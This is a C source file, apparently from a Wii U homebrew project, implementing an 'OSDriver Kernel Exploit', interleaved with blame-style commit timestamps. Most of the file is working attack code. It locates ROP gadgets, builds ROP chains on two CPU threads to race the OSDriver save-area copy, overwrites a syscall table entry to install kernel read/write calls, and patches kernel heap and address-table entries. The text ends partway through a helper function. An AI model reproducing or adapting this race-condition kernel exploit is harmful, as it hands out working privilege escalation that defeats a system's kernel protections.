2016-02-29 22:28:18 +01:00
|
|
|
#include "kexploit.h"
|
|
|
|
|
|
|
|
void wait(unsigned int t);
|
|
|
|
void doBrowserShutdown(unsigned int coreinit_handle);
|
|
|
|
void setupOSScreen(unsigned int coreinit_handle);
|
|
|
|
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos);
|
|
|
|
void exitOSScreen(unsigned int coreinit_handle);
|
|
|
|
void callSysExit(unsigned int coreinit_handle, void *sysFunc);
|
|
|
|
|
2016-03-29 21:33:10 +02:00
|
|
|
typedef struct
|
|
|
|
{
|
|
|
|
char *drvb_name;
|
|
|
|
void *copy_payload;
|
|
|
|
void *thread0;
|
|
|
|
void *thread2;
|
|
|
|
uint32_t *rop0;
|
|
|
|
uint32_t *rop2;
|
|
|
|
|
|
|
|
void (*OSYieldThread)(void);
|
|
|
|
int32_t (*OSResumeThread)(void * thread);
|
|
|
|
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length);
|
|
|
|
} thread_data_container_t;
|
|
|
|
|
|
|
|
static void thread_callback(int argc, void *argv)
|
|
|
|
{
|
|
|
|
thread_data_container_t *container = (thread_data_container_t*)argv;
|
|
|
|
|
|
|
|
container->OSYieldThread();
|
|
|
|
|
|
|
|
/* Schedule both threads for execution */
|
|
|
|
container->OSResumeThread(container->thread0);
|
|
|
|
container->OSResumeThread(container->thread2);
|
|
|
|
|
|
|
|
/* Signal the CPU0 and CPU2 threads to begin */
|
|
|
|
container->rop0[0x1fc/4] = 0;
|
|
|
|
container->rop2[0x1ac/4] = 0;
|
|
|
|
|
|
|
|
container->OSYieldThread();
|
|
|
|
|
|
|
|
container->CopyToSaveArea(container->drvb_name, 4, container->copy_payload, 0x1000);
|
|
|
|
}
|
|
|
|
|
2016-02-29 22:28:18 +01:00
|
|
|
/* Initial setup code stolen from Pong, makes race much more reliable */
|
|
|
|
void run_kexploit(private_data_t *private_data)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
unsigned int coreinit_handle, sysapp_handle;
|
|
|
|
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
|
|
|
OSDynLoad_Acquire("sysapp", &sysapp_handle);
|
|
|
|
//needed to not destroy screen
|
|
|
|
doBrowserShutdown(coreinit_handle);
|
|
|
|
//prints out first message as well
|
|
|
|
setupOSScreen(coreinit_handle);
|
|
|
|
|
|
|
|
if(KERN_SYSCALL_TBL == 0)
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Your kernel version has not been implemented yet.",1);
|
|
|
|
wait(0x3FFFFFFF);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
|
|
|
|
//OS Memory functions
|
|
|
|
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
|
|
|
void*(*memcpy)(void *dest, void *src, uint32_t length);
|
|
|
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
|
|
|
void (*OSFreeToSystem)(void *ptr);
|
|
|
|
void (*DCFlushRange)(void *buffer, uint32_t length);
|
|
|
|
void (*DCInvalidateRange)(void *buffer, uint32_t length);
|
|
|
|
void (*ICInvalidateRange)(void *buffer, uint32_t length);
|
|
|
|
|
|
|
|
/* OS thread functions */
|
|
|
|
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
|
|
|
int32_t (*OSResumeThread)(void *thread);
|
|
|
|
int32_t (*OSGetThreadPriority)(void *thread);
|
|
|
|
void * (*OSGetCurrentThread)(void);
|
|
|
|
void (*OSYieldThread)(void);
|
|
|
|
int (*OSIsThreadTerminated)(void *thread);
|
|
|
|
|
|
|
|
/* Exit functions */
|
|
|
|
void (*__PPCExit)();
|
|
|
|
void (*_Exit)();
|
|
|
|
|
|
|
|
int(*SYSSwitchToBrowser)(void *args);
|
|
|
|
int(*SYSLaunchSettings)(void *args);
|
|
|
|
|
|
|
|
/* Read the addresses of the functions */
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &memcpy);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCInvalidateRange", &DCInvalidateRange);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &ICInvalidateRange);
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetThreadPriority", &OSGetThreadPriority);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSGetCurrentThread", &OSGetCurrentThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSYieldThread", &OSYieldThread);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "__PPCExit", &__PPCExit);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(sysapp_handle, 0, "SYSSwitchToBrowser", &SYSSwitchToBrowser);
|
|
|
|
OSDynLoad_FindExport(sysapp_handle, 0, "SYSLaunchSettings", &SYSLaunchSettings);
|
|
|
|
|
|
|
|
/* Allocate a stack for the threads */
|
|
|
|
uint32_t stack0 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
|
|
|
uint32_t stack2 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
|
|
|
uint32_t stack1 = (uint32_t) private_data->MEMAllocFromDefaultHeapEx(0x300, 0x20);
|
|
|
|
|
|
|
|
/* Create the threads */
|
|
|
|
void *thread0 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
|
|
|
bool ret0 = OSCreateThread(thread0, _Exit, 0, NULL, stack0 + 0x300, 0x300, 0, 1 | 0x10 | 8);
|
|
|
|
void *thread2 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
|
|
|
bool ret2 = OSCreateThread(thread2, _Exit, 0, NULL, stack2 + 0x300, 0x300, 0, 4 | 0x10 | 8);
|
|
|
|
void *thread1 = private_data->MEMAllocFromDefaultHeapEx(OSTHREAD_SIZE, 8);
|
|
|
|
if (ret0 == false || ret2 == false)
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Failed to create threads! Please try again.",1);
|
|
|
|
wait(0x2FFFFFFF);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
|
|
|
|
printOSScreenMsg(coreinit_handle, "Running Exploit...",1);
|
|
|
|
|
|
|
|
/* Find a bunch of gadgets */
|
|
|
|
uint32_t sleep_addr;
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &sleep_addr);
|
|
|
|
sleep_addr += 0x44;
|
|
|
|
uint32_t sigwait[] = {0x801F0000, 0x7C0903A6, 0x4E800421, 0x83FF0004, 0x2C1F0000, 0x4082FFEC, 0x80010014, 0x83E1000C, 0x7C0803A6, 0x38210010, 0x4E800020};
|
|
|
|
uint32_t sigwait_addr = (uint32_t) find_gadget(sigwait, 0x2c, (uint32_t) __PPCExit);
|
|
|
|
uint32_t r3r4load[] = {0x80610008, 0x8081000C, 0x80010014, 0x7C0803A6, 0x38210010, 0x4E800020};
|
|
|
|
uint32_t r3r4load_addr = (uint32_t) find_gadget(r3r4load, 0x18, (uint32_t) __PPCExit);
|
|
|
|
uint32_t r5load[] = {0x80A10008, 0x38210010, 0x7CA32B78, 0x80810004, 0x7C8803A6, 0x4E800020};
|
|
|
|
uint32_t r5load_addr = (uint32_t) find_gadget(r5load, 0x18, (uint32_t) __PPCExit);
|
|
|
|
uint32_t r6load[] = {0x80C10014, 0x90610010, 0x80010010, 0x915E002C, 0x81210008, 0x901E0030, 0x913E0028, 0x90DE0034, 0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
|
|
|
uint32_t r6load_addr = (uint32_t) find_gadget(r6load, 0x38, (uint32_t) __PPCExit);
|
|
|
|
uint32_t r30r31load[] = {0x80010034, 0x83E1002C, 0x7C0803A6, 0x83C10028, 0x38210030, 0x4E800020};
|
|
|
|
uint32_t r30r31load_addr = (uint32_t) find_gadget(r30r31load, 0x18, (uint32_t) __PPCExit);
|
|
|
|
|
|
|
|
/* Find the OSDriver functions */
|
|
|
|
uint32_t reg[] = {0x38003200, 0x44000002, 0x4E800020};
|
|
|
|
uint32_t (*Register)(char *driver_name, uint32_t name_length, void *buf1, void *buf2) = find_gadget(reg, 0xc, (uint32_t) __PPCExit);
|
|
|
|
uint32_t dereg[] = {0x38003300, 0x44000002, 0x4E800020};
|
|
|
|
uint32_t (*Deregister)(char *driver_name, uint32_t name_length) = find_gadget(dereg, 0xc, (uint32_t) __PPCExit);
|
|
|
|
uint32_t copyfrom[] = {0x38004700, 0x44000002, 0x4E800020};
|
|
|
|
uint32_t (*CopyFromSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyfrom, 0xc, (uint32_t) __PPCExit);
|
|
|
|
uint32_t copyto[] = {0x38004800, 0x44000002, 0x4E800020};
|
|
|
|
uint32_t (*CopyToSaveArea)(char *driver_name, uint32_t name_length, void *buffer, uint32_t length) = find_gadget(copyto, 0xc, (uint32_t) __PPCExit);
|
|
|
|
|
|
|
|
/* Set up the ROP chain for CPU0 */
|
|
|
|
OSContext *ctx0 = (OSContext*) thread0;
|
|
|
|
uint32_t *rop0 = (uint32_t*) stack0;
|
|
|
|
ctx0->gpr[1] = stack0 + 0x80;
|
|
|
|
ctx0->gpr[28] = 0;
|
|
|
|
ctx0->gpr[29] = CPU0_WAIT_TIME * 2;
|
|
|
|
ctx0->gpr[31] = stack0 + 0x1f8;
|
|
|
|
ctx0->srr0 = sigwait_addr + 0xc;
|
|
|
|
rop0[0x94/4] = sleep_addr;
|
|
|
|
rop0[0x114/4] = r3r4load_addr;
|
|
|
|
rop0[0x118/4] = stack0 + 0x208;
|
|
|
|
rop0[0x11c/4] = 4;
|
|
|
|
rop0[0x124/4] = r30r31load_addr;
|
|
|
|
rop0[0x14c/4] = stack0 + 0x220;
|
|
|
|
rop0[0x154/4] = sigwait_addr;
|
|
|
|
rop0[0x164/4] = r5load_addr;
|
|
|
|
rop0[0x168/4] = stack0 + 0x218;
|
|
|
|
rop0[0x174/4] = r3r4load_addr;
|
|
|
|
rop0[0x178/4] = stack0 + 0x210;
|
|
|
|
rop0[0x17c/4] = 4;
|
|
|
|
rop0[0x184/4] = r30r31load_addr;
|
|
|
|
rop0[0x1a8/4] = stack0 + 0x230;
|
|
|
|
rop0[0x1b4/4] = r6load_addr;
|
|
|
|
rop0[0x1c4/4] = stack0 + 0x21c;
|
|
|
|
rop0[0x1dc/4] = stack0 + 0x228;
|
|
|
|
rop0[0x1e4/4] = sigwait_addr;
|
|
|
|
rop0[0x1f4/4] = sigwait_addr + 0x28;
|
|
|
|
rop0[0x1f8/4] = sigwait_addr + 0xc;
|
|
|
|
rop0[0x1fc/4] = stack0 + 0x1f8;
|
|
|
|
rop0[0x200/4] = 0;
|
|
|
|
rop0[0x204/4] = 0;
|
|
|
|
rop0[0x208/4] = 0x44525642;
|
|
|
|
rop0[0x20c/4] = 0;
|
|
|
|
rop0[0x210/4] = 0x44525643;
|
|
|
|
rop0[0x214/4] = 0;
|
|
|
|
rop0[0x218/4] = 0;
|
|
|
|
rop0[0x21c/4] = 0;
|
|
|
|
rop0[0x220/4] = (uint32_t)Deregister;
|
|
|
|
rop0[0x224/4] = 0;
|
|
|
|
rop0[0x228/4] = (uint32_t)Register;
|
|
|
|
rop0[0x22c/4] = 0;
|
|
|
|
|
|
|
|
/* Set up the ROP chain for CPU2 */
|
|
|
|
OSContext *ctx2 = (OSContext*) thread2;
|
|
|
|
uint32_t *rop2 = (uint32_t*) stack2;
|
|
|
|
ctx2->gpr[1] = stack2 + 0x80;
|
|
|
|
ctx2->gpr[28] = 0;
|
|
|
|
ctx2->gpr[29] = CPU2_WAIT_TIME * 4;
|
|
|
|
ctx2->gpr[31] = stack2 + 0x1a8;
|
|
|
|
ctx2->srr0 = sigwait_addr + 0xc;
|
|
|
|
rop2[0x94/4] = sleep_addr;
|
|
|
|
rop2[0x114/4] = r5load_addr;
|
|
|
|
rop2[0x118/4] = stack2 + 0x204;
|
|
|
|
rop2[0x124/4] = r3r4load_addr;
|
|
|
|
rop2[0x128/4] = stack2 + 0x1b8;
|
|
|
|
rop2[0x12c/4] = 4;
|
|
|
|
rop2[0x134/4] = r30r31load_addr;
|
|
|
|
rop2[0x158/4] = stack2 + 0x1c8;
|
|
|
|
rop2[0x164/4] = r6load_addr;
|
|
|
|
rop2[0x174/4] = 4;
|
|
|
|
rop2[0x18c/4] = stack2 + 0x1c0;
|
|
|
|
rop2[0x194/4] = sigwait_addr;
|
|
|
|
rop2[0x1a4/4] = sigwait_addr + 0x28;
|
|
|
|
rop2[0x1a8/4] = sigwait_addr + 0xc;
|
|
|
|
rop2[0x1ac/4] = stack2 + 0x1a8;
|
|
|
|
rop2[0x1b0/4] = 0;
|
|
|
|
rop2[0x1b4/4] = 0;
|
|
|
|
rop2[0x1b8/4] = 0x44525641;
|
|
|
|
rop2[0x1bc/4] = 0;
|
|
|
|
rop2[0x1c0/4] = (uint32_t)CopyToSaveArea;
|
|
|
|
rop2[0x1c4/4] = 0;
|
|
|
|
rop2[0x204/4] = 0xDEADC0DE;
|
|
|
|
|
|
|
|
/* Register driver A and driver B */
|
|
|
|
char *drva_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
|
|
|
memcpy(drva_name, "DRVA", 5);
|
|
|
|
char *drvb_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
|
|
|
memcpy(drvb_name, "DRVB", 5);
|
|
|
|
uint32_t status = Register(drva_name, 4, NULL, NULL) | Register(drvb_name, 4, NULL, NULL);
|
|
|
|
if (status != 0)
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Register() of driver A and B failed! Reloading kernel...",2);
|
|
|
|
wait(0x2FFFFFFF);
|
|
|
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
|
|
|
|
/* Generate the copy payload, which writes to syscall_table[0x34] */
|
|
|
|
uint32_t *copy_payload = OSAllocFromSystem(0x1000, 0x20);
|
|
|
|
if (!copy_payload)
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Failed to allocate payload! Reloading kernel...",2);
|
|
|
|
wait(0x2FFFFFFF);
|
|
|
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
copy_payload[0] = 0x01234567;
|
|
|
|
copy_payload[0xfb4/4] = 0x44525648;
|
|
|
|
copy_payload[0xfb8/4] = 0x41580000;
|
|
|
|
copy_payload[0xff4/4] = PFID_BROWSER;
|
|
|
|
copy_payload[0xff8/4] = KERN_SYSCALL_TBL + (0x34 * 4);
|
|
|
|
DCFlushRange(copy_payload, 0x1000);
|
|
|
|
DCInvalidateRange(copy_payload, 0x1000);
|
|
|
|
|
|
|
|
char *drvhax_name = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
|
|
|
drvhax_name[7] = 0;
|
|
|
|
memcpy(drvhax_name, "DRVHAX", 7);
|
|
|
|
uint32_t *syscalls = private_data->MEMAllocFromDefaultHeapEx(8, 4);
|
|
|
|
syscalls[0] = KERN_CODE_READ;
|
|
|
|
syscalls[1] = KERN_CODE_WRITE;
|
|
|
|
|
|
|
|
/* Do a dummy copy to put CopyToSaveArea() in our cache */
|
|
|
|
CopyToSaveArea(drvb_name, 4, (void*)0xC0000004, 4);
|
|
|
|
|
|
|
|
thread_data_container_t container;
|
|
|
|
container.drvb_name = drvb_name;
|
|
|
|
container.copy_payload = copy_payload;
|
|
|
|
container.rop0 = rop0;
|
|
|
|
container.rop2 = rop2;
|
|
|
|
container.thread0 = thread0;
|
|
|
|
container.thread2 = thread2;
|
|
|
|
container.OSResumeThread = OSResumeThread;
|
|
|
|
container.OSYieldThread = OSYieldThread;
|
|
|
|
container.CopyToSaveArea = CopyToSaveArea;
|
|
|
|
|
|
|
|
bool ret3 = OSCreateThread(thread1, thread_callback, 1, &container, stack1 + 0x300, 0x300, OSGetThreadPriority(OSGetCurrentThread()), 2 | 0x10 | 8);
|
|
|
|
|
|
|
|
OSYieldThread();
|
|
|
|
/* Schedule both threads for execution */
|
|
|
|
//OSResumeThread(thread0);
|
|
|
|
//OSResumeThread(thread2);
|
|
|
|
OSResumeThread(thread1);
|
|
|
|
|
|
|
|
|
|
|
|
/* Signal the CPU0 and CPU2 threads to begin */
|
|
|
|
//rop2[0x1ac/4] = 0;
|
|
|
|
//rop0[0x1fc/4] = 0;
|
|
|
|
|
|
|
|
/* Start copying the payload into driver B's save area */
|
|
|
|
//CopyToSaveArea(drvb_name, 4, copy_payload, 0x1000);
|
|
|
|
|
|
|
|
/* The amount of instructions in this loop and the sleep ticks of the other cores can decide whether its a success or not */
|
|
|
|
while(OSIsThreadTerminated(thread1) == 0)
|
|
|
|
{
|
|
|
|
asm volatile (
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
" nop\n"
|
|
|
|
);
|
|
|
|
|
|
|
|
OSYieldThread();
|
|
|
|
}
|
|
|
|
|
|
|
|
/* Use DRVHAX to install the read and write syscalls */
|
|
|
|
status = CopyToSaveArea(drvhax_name, 6, syscalls, 8);
|
|
|
|
|
|
|
|
/* Verify that the syscalls were installed */
|
|
|
|
uint32_t result = 42;
|
|
|
|
status = CopyFromSaveArea(drvhax_name, 6, &result, 4);
|
|
|
|
if (result != KERN_CODE_READ)
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Race attack failed! Reloading kernel...",2);
|
|
|
|
wait(0x2FFFFFFF);
|
|
|
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
|
|
|
|
/* Search the kernel heap for DRVA and DRVHAX */
|
|
|
|
uint32_t drva_addr = 0, drvhax_addr = 0;
|
|
|
|
uint32_t metadata_addr = KERN_HEAP + 0x14 + (kern_read((void*)(KERN_HEAP + 0x0c)) * 0x10);
|
|
|
|
while (metadata_addr >= KERN_HEAP + 0x14)
|
|
|
|
{
|
|
|
|
/* Read the data address from the metadata, then read the data */
|
|
|
|
uint32_t data_addr = kern_read((void*)metadata_addr);
|
|
|
|
uint32_t data = kern_read((void*)data_addr);
|
|
|
|
|
|
|
|
/* Check for DRVA or DRVHAX, and if both are found, break */
|
|
|
|
if (data == 0x44525641) drva_addr = data_addr;
|
|
|
|
else if (data == 0x44525648) drvhax_addr = data_addr;
|
|
|
|
if (drva_addr && drvhax_addr) break;
|
|
|
|
|
|
|
|
/* Go to the previous metadata entry */
|
|
|
|
metadata_addr -= 0x10;
|
|
|
|
}
|
|
|
|
if (!(drva_addr && drvhax_addr))
|
|
|
|
{
|
|
|
|
printOSScreenMsg(coreinit_handle, "Failed to find DRVA or DRVHAX! Reloading kernel...",2);
|
|
|
|
wait(0x2FFFFFFF);
|
|
|
|
callSysExit(coreinit_handle,SYSLaunchSettings);
|
|
|
|
exitOSScreen(coreinit_handle);
|
|
|
|
}
|
|
|
|
/* Make DRVHAX point to DRVA to ensure a clean exit */
|
|
|
|
kern_write((void*)(drvhax_addr + 0x48), drva_addr);
|
|
|
|
|
|
|
|
//map (mostly unused) memory area to specific MEM2 region
|
2016-02-29 22:28:18 +01:00
|
|
|
#if (VER<410) //start of region on old FWs
|
2016-03-29 21:33:10 +02:00
|
|
|
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000);
|
2016-02-29 22:28:18 +01:00
|
|
|
#else //newer FWs use different mappings
|
2016-03-29 21:33:10 +02:00
|
|
|
kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0x10000000);
|
2016-02-29 22:28:18 +01:00
|
|
|
#endif
|
2016-03-29 21:33:10 +02:00
|
|
|
//give that memory area read/write permissions
|
|
|
|
kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x28305800);
|
2016-02-29 22:28:18 +01:00
|
|
|
|
2016-04-11 23:05:22 +02:00
|
|
|
private_data->MEMFreeToDefaultHeap(thread0);
|
|
|
|
private_data->MEMFreeToDefaultHeap(thread1);
|
|
|
|
private_data->MEMFreeToDefaultHeap(thread2);
|
|
|
|
private_data->MEMFreeToDefaultHeap((void*)stack0);
|
|
|
|
private_data->MEMFreeToDefaultHeap((void*)stack1);
|
|
|
|
private_data->MEMFreeToDefaultHeap((void*)stack2);
|
|
|
|
|
|
|
|
//printOSScreenMsg(coreinit_handle, "Success! Re-launch HBL again...",2);
|
|
|
|
//wait(0x1FFFFFFF);
|
|
|
|
//callSysExit(coreinit_handle,SYSSwitchToBrowser);
|
|
|
|
//exitOSScreen(coreinit_handle);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void wait(unsigned int t)
|
|
|
|
{
|
|
|
|
// the wait times are too short with optimizations enabled so we double them
|
|
|
|
t *= 2;
|
|
|
|
|
2016-03-29 21:33:10 +02:00
|
|
|
while(t--)
|
2016-02-29 22:28:18 +01:00
|
|
|
asm volatile("nop");
|
|
|
|
}
|
|
|
|
|
|
|
|
void doBrowserShutdown(unsigned int coreinit_handle)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
void*(*memset)(void *dest, uint32_t value, uint32_t bytes);
|
|
|
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
|
|
|
void (*OSFreeToSystem)(void *ptr);
|
|
|
|
|
|
|
|
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
|
|
|
int(*IM_Close)(int fd);
|
|
|
|
int(*IM_Open)();
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
|
|
|
|
|
|
|
//Restart system to get lib access
|
|
|
|
int fd = IM_Open();
|
|
|
|
void *mem = OSAllocFromSystem(0x100, 64);
|
|
|
|
memset(mem, 0, 0x100);
|
|
|
|
//set restart flag to force quit browser
|
|
|
|
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
|
|
|
IM_Close(fd);
|
|
|
|
OSFreeToSystem(mem);
|
|
|
|
//wait a bit for browser end
|
|
|
|
wait(0x1FFFFFFF);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void drawString(unsigned int coreinit_handle, int x, int y, char * string)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
|
|
|
OSScreenPutFontEx(0, x, y, string);
|
|
|
|
OSScreenPutFontEx(1, x, y, string);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void fillScreen(unsigned int coreinit_handle, char r,char g,char b,char a)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
|
|
|
uint32_t num = (r << 24) | (g << 16) | (b << 8) | a;
|
|
|
|
OSScreenClearBufferEx(0, num);
|
|
|
|
OSScreenClearBufferEx(1, num);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void flipBuffers(unsigned int coreinit_handle)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
void(*DCFlushRange)(void *buffer, uint32_t length);
|
|
|
|
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &DCFlushRange);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
|
|
|
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
|
|
|
//Grab the buffer size for each screen (TV and gamepad)
|
|
|
|
int buf0_size = OSScreenGetBufferSizeEx(0);
|
|
|
|
int buf1_size = OSScreenGetBufferSizeEx(1);
|
|
|
|
//Flush the cache
|
|
|
|
DCFlushRange((void *)0xF4000000 + buf0_size, buf1_size);
|
|
|
|
DCFlushRange((void *)0xF4000000, buf0_size);
|
|
|
|
//Flip the buffer
|
|
|
|
OSScreenFlipBuffersEx(0);
|
|
|
|
OSScreenFlipBuffersEx(1);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void printOSScreenMsg(unsigned int coreinit_handle, char *buf,unsigned int pos)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
int i;
|
|
|
|
for(i=0;i<2;i++)
|
|
|
|
{
|
|
|
|
fillScreen(coreinit_handle, 0,0,0,0);
|
|
|
|
drawString(coreinit_handle, 0,pos,buf);
|
|
|
|
flipBuffers(coreinit_handle);
|
|
|
|
}
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void setupOSScreen(unsigned int coreinit_handle)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
void(*OSScreenInit)();
|
|
|
|
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
|
|
|
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
|
|
|
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
|
|
|
|
|
|
|
//Call the Screen initilzation function.
|
|
|
|
OSScreenInit();
|
|
|
|
//Grab the buffer size for each screen (TV and gamepad)
|
|
|
|
int buf0_size = OSScreenGetBufferSizeEx(0);
|
|
|
|
int buf1_size = OSScreenGetBufferSizeEx(1);
|
|
|
|
//Set the buffer area.
|
|
|
|
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
|
|
|
OSScreenSetBufferEx(1, (void *)0xF4000000 + buf0_size);
|
|
|
|
//Clear both framebuffers.
|
|
|
|
int ii;
|
|
|
|
for (ii = 0; ii < 2; ii++)
|
|
|
|
{
|
|
|
|
fillScreen(coreinit_handle, 0,0,0,0);
|
|
|
|
flipBuffers(coreinit_handle);
|
|
|
|
}
|
|
|
|
printOSScreenMsg(coreinit_handle, "OSDriver Kernel Exploit",0);
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void exitOSScreen(unsigned int coreinit_handle)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
void (*_Exit)();
|
|
|
|
OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &_Exit);
|
|
|
|
//exit only works like this
|
|
|
|
int ii;
|
|
|
|
for(ii = 0; ii < 2; ii++)
|
|
|
|
{
|
|
|
|
fillScreen(coreinit_handle, 0,0,0,0);
|
|
|
|
flipBuffers(coreinit_handle);
|
|
|
|
}
|
|
|
|
_Exit();
|
2016-02-29 22:28:18 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
void callSysExit(unsigned int coreinit_handle, void *sysFunc)
|
|
|
|
{
|
2016-03-29 21:33:10 +02:00
|
|
|
void*(*OSAllocFromSystem)(uint32_t size, int align);
|
|
|
|
bool (*OSCreateThread)(void *thread, void *entry, int argc, void *args, uint32_t stack, uint32_t stack_size, int32_t priority, uint16_t attr);
|
|
|
|
int32_t (*OSResumeThread)(void *thread);
|
|
|
|
int (*OSIsThreadTerminated)(void *thread);
|
|
|
|
|
|
|
|
